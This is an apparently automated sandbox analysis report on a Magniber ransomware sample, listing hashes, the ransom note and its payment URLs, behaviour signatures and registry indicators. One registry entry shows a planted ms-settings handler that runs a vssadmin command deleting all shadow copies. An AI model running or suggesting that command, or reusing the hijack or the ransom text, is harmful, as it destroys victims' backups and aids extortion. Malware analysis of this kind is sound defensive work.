magniber | 1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367

Analysis

max time kernel
290s
max time network
269s
platform
windows10_x64
resource
win10-en-20211104
submitted
10-11-2021 10:34

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General

Target

1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe
Size

22KB
MD5

7906dc475a8ae55ffb5af7fd3ac8f10a
SHA1

e7304e2436dc0eddddba229f1ec7145055030151
SHA256

1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367
SHA512

c087b3107295095e9aca527d02b74c067e96ca5daf5457e465f8606dbf4809027faedf65d77868f6fb8bb91a1438e3d0169e59efddf1439bbd3adb3e23a739a1

Score

10^/10

magniber ransomware

Malware Config

Extracted

Path

C:\Users\Admin\Desktop\readme.txt

Family

magniber

Ransom Note

ALL YOUR DOCUMENTS PHOTOS DATABASES AND OTHER IMPORTANT FILES HAVE BEEN ENCRYPTED! ==================================================================================================== Your files are NOT damaged! Your files are modified only. This modification is reversible. The only 1 way to decrypt your files is to receive the private key and decryption program. Any attempts to restore your files with the third party software will be fatal for your files! ==================================================================================================== To receive the private key and decryption program follow the instructions below: 1. Download "Tor Browser" from https://www.torproject.org/ and install it. 2. In the "Tor Browser" open your personal page here: http://e2c4dcf008f46e10beeltalkfzj.n5fnrf4l7bdjhelx.onion/eltalkfzj Note! This page is available via "Tor Browser" only. ==================================================================================================== Also you can use temporary addresses on your personal page without using "Tor Browser": http://e2c4dcf008f46e10beeltalkfzj.jobsbig.cam/eltalkfzj http://e2c4dcf008f46e10beeltalkfzj.boxgas.icu/eltalkfzj http://e2c4dcf008f46e10beeltalkfzj.sixsees.club/eltalkfzj http://e2c4dcf008f46e10beeltalkfzj.nowuser.casa/eltalkfzj Note! These are temporary addresses! They will be available for a limited amount of time!

URLs

http://e2c4dcf008f46e10beeltalkfzj.n5fnrf4l7bdjhelx.onion/eltalkfzj

http://e2c4dcf008f46e10beeltalkfzj.jobsbig.cam/eltalkfzj

http://e2c4dcf008f46e10beeltalkfzj.boxgas.icu/eltalkfzj

http://e2c4dcf008f46e10beeltalkfzj.sixsees.club/eltalkfzj

http://e2c4dcf008f46e10beeltalkfzj.nowuser.casa/eltalkfzj

Signatures

Magniber Ransomware
Ransomware family widely seen in Asia being distributed by the Magnitude exploit kit.
ransomware magniber

Process spawned unexpected child process 16 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3424	2620	cmd.exe	89
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2500	2620	cmd.exe	89
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4200	2620	cmd.exe	89
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4324	2620	cmd.exe	89
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4400	2620	cmd.exe	89
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4484	2620	cmd.exe	89
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4564	2620	cmd.exe	89
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4612	2620	cmd.exe	89
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4640	2620	cmd.exe	89
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4664	2620	cmd.exe	89
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4716	2620	cmd.exe	89
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4780	2620	cmd.exe	89
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4816	2620	cmd.exe	89
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4868	2620	cmd.exe	89
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5048	4712	vssadmin.exe	173
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4848	4712	vssadmin.exe	173

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1107

Inhibit System Recovery
T1490

Modifies extensions of user files 9 IoCs

Ransomware generally changes the extension on encrypted files.

ransomware

description	ioc	Process
File renamed	C:\Users\Admin\Pictures\InvokeSelect.tiff => C:\Users\Admin\Pictures\InvokeSelect.tiff.eltalkfzj	svchost.exe
File opened for modification	C:\Users\Admin\Pictures\ResolveExport.tiff	svchost.exe
File renamed	C:\Users\Admin\Pictures\JoinStart.raw => C:\Users\Admin\Pictures\JoinStart.raw.eltalkfzj	svchost.exe
File renamed	C:\Users\Admin\Pictures\ResetConnect.raw => C:\Users\Admin\Pictures\ResetConnect.raw.eltalkfzj	svchost.exe
File renamed	C:\Users\Admin\Pictures\SplitComplete.raw => C:\Users\Admin\Pictures\SplitComplete.raw.eltalkfzj	svchost.exe
File renamed	C:\Users\Admin\Pictures\UnblockRepair.crw => C:\Users\Admin\Pictures\UnblockRepair.crw.eltalkfzj	svchost.exe
File opened for modification	C:\Users\Admin\Pictures\InvokeSelect.tiff	svchost.exe
File renamed	C:\Users\Admin\Pictures\ResolveExport.tiff => C:\Users\Admin\Pictures\ResolveExport.tiff.eltalkfzj	svchost.exe
File renamed	C:\Users\Admin\Pictures\WatchGrant.png => C:\Users\Admin\Pictures\WatchGrant.png.eltalkfzj	svchost.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000\Control Panel\International\Geo\Nation	cmd.exe

Suspicious use of SetThreadContext 6 IoCs

description	pid	Process	procid_target
PID 3796 set thread context of 2636	3796	1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe	13
PID 3796 set thread context of 2644	3796	1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe	27
PID 3796 set thread context of 2884	3796	1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe	26
PID 3796 set thread context of 2056	3796	1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe	25
PID 3796 set thread context of 3492	3796	1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe	23
PID 3796 set thread context of 3788	3796	1814a6a6749684cdacd792374e0ba31b7be4ff6f9675f3fd15d543afbb540367.exe	22

Drops file in Windows directory 5 IoCs

description	ioc	Process
File created	C:\Windows\rescache\_merged\3720402701\2274612954.pri	MicrosoftEdgeCP.exe
File created	C:\Windows\rescache\_merged\2717123927\1713683155.pri	Explorer.EXE
File created	C:\Windows\rescache\_merged\3720402701\2274612954.pri	MicrosoftEdgeCP.exe
File created	C:\Windows\rescache\_merged\3720402701\2274612954.pri	MicrosoftEdge.exe
File opened for modification	C:\Windows\Debug\ESE.TXT	MicrosoftEdge.exe

Program crash 1 IoCs

pid	pid_target	Process	procid_target
828	3788	WerFault.exe	22

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Interacts with shadow copies 2 TTPs 2 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1107

Inhibit System Recovery

T1490

pid	Process
5048	vssadmin.exe
4848	vssadmin.exe

Modifies Internet Explorer settings 1 TTPs 60 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000\Software\Microsoft\Internet Explorer\Toolbar\ShellBrowser	Explorer.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000\Software\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateLowDateTime = "530838071"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000\Software\Microsoft\Internet Explorer\FlipAhead\Meta\generator$WordPress	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000\Software\Microsoft\Internet Explorer\FlipAhead\FileVersion = "2016061511"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000\Software\Microsoft\Internet Explorer\VersionManager\LastUpdateLowDateTime = "515706449"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000\Software\Microsoft\Internet Explorer\DomainSuggestion	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000\Software\Microsoft\Internet Explorer\Main	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000\Software\Microsoft\Internet Explorer\VersionManager\LastUpdateHighDateTime = "30922271"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000\Software\Microsoft\Internet Explorer\VersionManager	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000\Software\Microsoft\Internet Explorer\MINIE	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{49D6FFB7-4212-11EC-B34F-FAA8C5BD3389} = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000\Software\Microsoft\Internet Explorer\VersionManager	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000\Software\Microsoft\Internet Explorer\FlipAhead\Meta\generator$Discuz!	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000\Software\Microsoft\Internet Explorer\FlipAhead\Meta\generator$Telligent	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000\Software\Microsoft\Internet Explorer\Main	browser_broker.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000\Software\Microsoft\Internet Explorer\Toolbar\ShellBrowser\ITBar7Layout = 13000000000000000000000020000000100000000000000001000000010700005e01000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000\Software\Microsoft\Internet Explorer\FlipAhead\Meta\generator$blogger	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000\Software\Microsoft\Internet Explorer\FlipAhead\NextUpdateDate = "343354255"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb010000002b5b008aa2024f4581a8e5e30df850c3000000000200000000001066000000010000200000002cd6f21392d3add4a6ab3082fdbf3997e48bef29b144ca3b15008d1056140ed2000000000e8000000002000020000000535d3fe4427caf4f74f175f2f5312cf38bef16961b502bbd95523fba79b61059200000005fa351650535018f531ea76283cd2de5ab8aa53f6657628fe0cde0bfd6a107a840000000c18cba978794f2fab6a09ad1db058d610293e2bf73b4b83601edcc63d78411832f06275997375dec2829ffa339da4f606be35bbf58d6ff810ea5c6537d815df6	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000\Software\Microsoft\Internet Explorer\Toolbar	Explorer.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000\Software\Microsoft\Internet Explorer\Toolbar\Locked = "1"	Explorer.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000\Software\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateLowDateTime = "515862434"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000\Software\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateHighDateTime = "30922271"	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "343305663"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = 00d5cb351fd6d701	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000\Software\Microsoft\Internet Explorer\FlipAhead\Meta\generator$vBulletin 4	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb010000002b5b008aa2024f4581a8e5e30df850c300000000020000000000106600000001000020000000dc438757c3dcc1be9e32832032fb5f8b95816595960af769b8e10c4cb3fdfa46000000000e800000000200002000000068f766b72abe492f5f148fbb5d70219463ab2c2eee0be0c6a7a77eaacee989cf200000009992afb339eae50767e46fd338cdd0328d5f419e1655f249f49e2e52a3f9454440000000f0b1e10c650efe6437f4d87151e2911b88337945a65216c74f636f788ec17a1bc73ef1724a438764c369fe89a7cf1f0418999e81723089d88ee49d6f28236088	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000\Software\Microsoft\Internet Explorer\FlipAhead\Meta\generator$MediaWiki	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	IEXPLORE.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000\Software\Microsoft\Internet Explorer\VersionManager\LastTTLLowDateTime = "1251635200"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = 3033bb351fd6d701	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	Explorer.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	IEXPLORE.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000\Software\Microsoft\Internet Explorer\FlipAhead\Meta\generator$vBulletin 3	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000\Software\Microsoft\Internet Explorer\VersionManager\LastTTLHighDateTime = "50"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\en-US = "en-US.1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000\Software\Microsoft\Internet Explorer\FlipAhead	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000\Software\Microsoft\Internet Explorer\Main	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000\Software\Microsoft\Internet Explorer\MINIE\TabBandWidth = "500"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000\Software\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateHighDateTime = "30922271"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000\Software\Microsoft\Internet Explorer\FlipAhead\Meta	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000\Software\Microsoft\Internet Explorer\FlipAhead\Meta\generator$http://www.typepad.com/	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000\Software\Microsoft\Internet Explorer\HistoryJournalCertificate	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000\Software\Microsoft\Internet Explorer\HistoryJournalCertificate\NextUpdateDate = "343322263"	iexplore.exe

Modifies registry class 64 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-3624051433-2125758914-1423191267-1740899205-1073925389-3782572162-737981194\Children\S-1-15-2-36240 = "121"	RuntimeBroker.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\ms-settings\shell\open\command\DelegateExecute = "0"	taskhostw.exe
Key created	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\Local Settings	Explorer.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\Content\CachePrefix	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Protected - It is a violation of Windows Policy to modify = 0100000093d1230b0b361fd721a54167d4840c284360c569ec593e51f8c818aa966729f240c7f76024f55844be8774bf597c03815c9aef79324b0613561436c18d2587ffd4add9077ce1118c34e3b82a22081087ba15ce5dcf79321af8a842d82a08c16dc9259df5671a80151c5819a0ac498bcfbf7124e686053841312686723030417833ce952d2ac0c7ac45868dc4f45f709ae74e22b20e0e1a8bf02c6aec9fbcbdddda4707047cf3b7ba560d1e860a6b90d03c4d2938d3b3bf02325c25db84ceb7bbb432f97017d3984e228ddb75e28b0f4f760c6ae25816ba68445429fdb985bccb1a2eab7100802bf6bfa5f1cc89e0da831e2cfe36a65587b9d1b54ab75001f8e3d3da877c4a1ab765e5f7042a608b135af74d6e131492d4771620e5216f62ddcc55d81f023bc1f0efaa22b4a03faa9277c20fadf8c5ebb2d1c0332fa883c7c0631cc792016795b2d0c6c6e6d9c55ef0c8b412c7636a82fa8e7b90f739db52c911ed46b0a82db62044d0835bce97c7cd5a9af6a338a3751fd003d51d030222fb8e00f737081f445d6fe6f9670e4906f48c255c8c3d40e670a4ecea829a0f30439b4e14fcf0413b	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-3624051433-2125758914-1423191267-1740899205-1073925389-3782572162-737981194\Children\S-1-15-2-36240	RuntimeBroker.exe
Key created	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\History	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\EdgeMigration\AllComplete = "1"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\New Windows	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\FlipAhead\Meta\generator$Discuz!	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Internet Settings	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\Cookies	MicrosoftEdgeCP.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus\CIStatusTimestamp = 91b283e31ed6d701	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\DataStore	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\FlipAhead\Meta\generator$blogger	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Privacy	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\ms-settings\shell\open\command	RuntimeBroker.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\FavOrder\SyncIEFirstTimeFullScan = "1"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\CVListXMLVersionHigh = "0"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Main\SharedCookie_MRACMigrationDone = "1"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Internet Settings\EnableNegotiate = "1"	MicrosoftEdge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\TypedURLs\url4 = "https://login.live.com/"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\LowMic	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-SubSysId = "0"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\CIStatus	MicrosoftEdgeCP.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\DomainSuggestion\FileNames\en-US = "en-US.1"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\HistoryJournalCertificate\CRLs	MicrosoftEdge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\ms-settings\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\""	Explorer.EXE
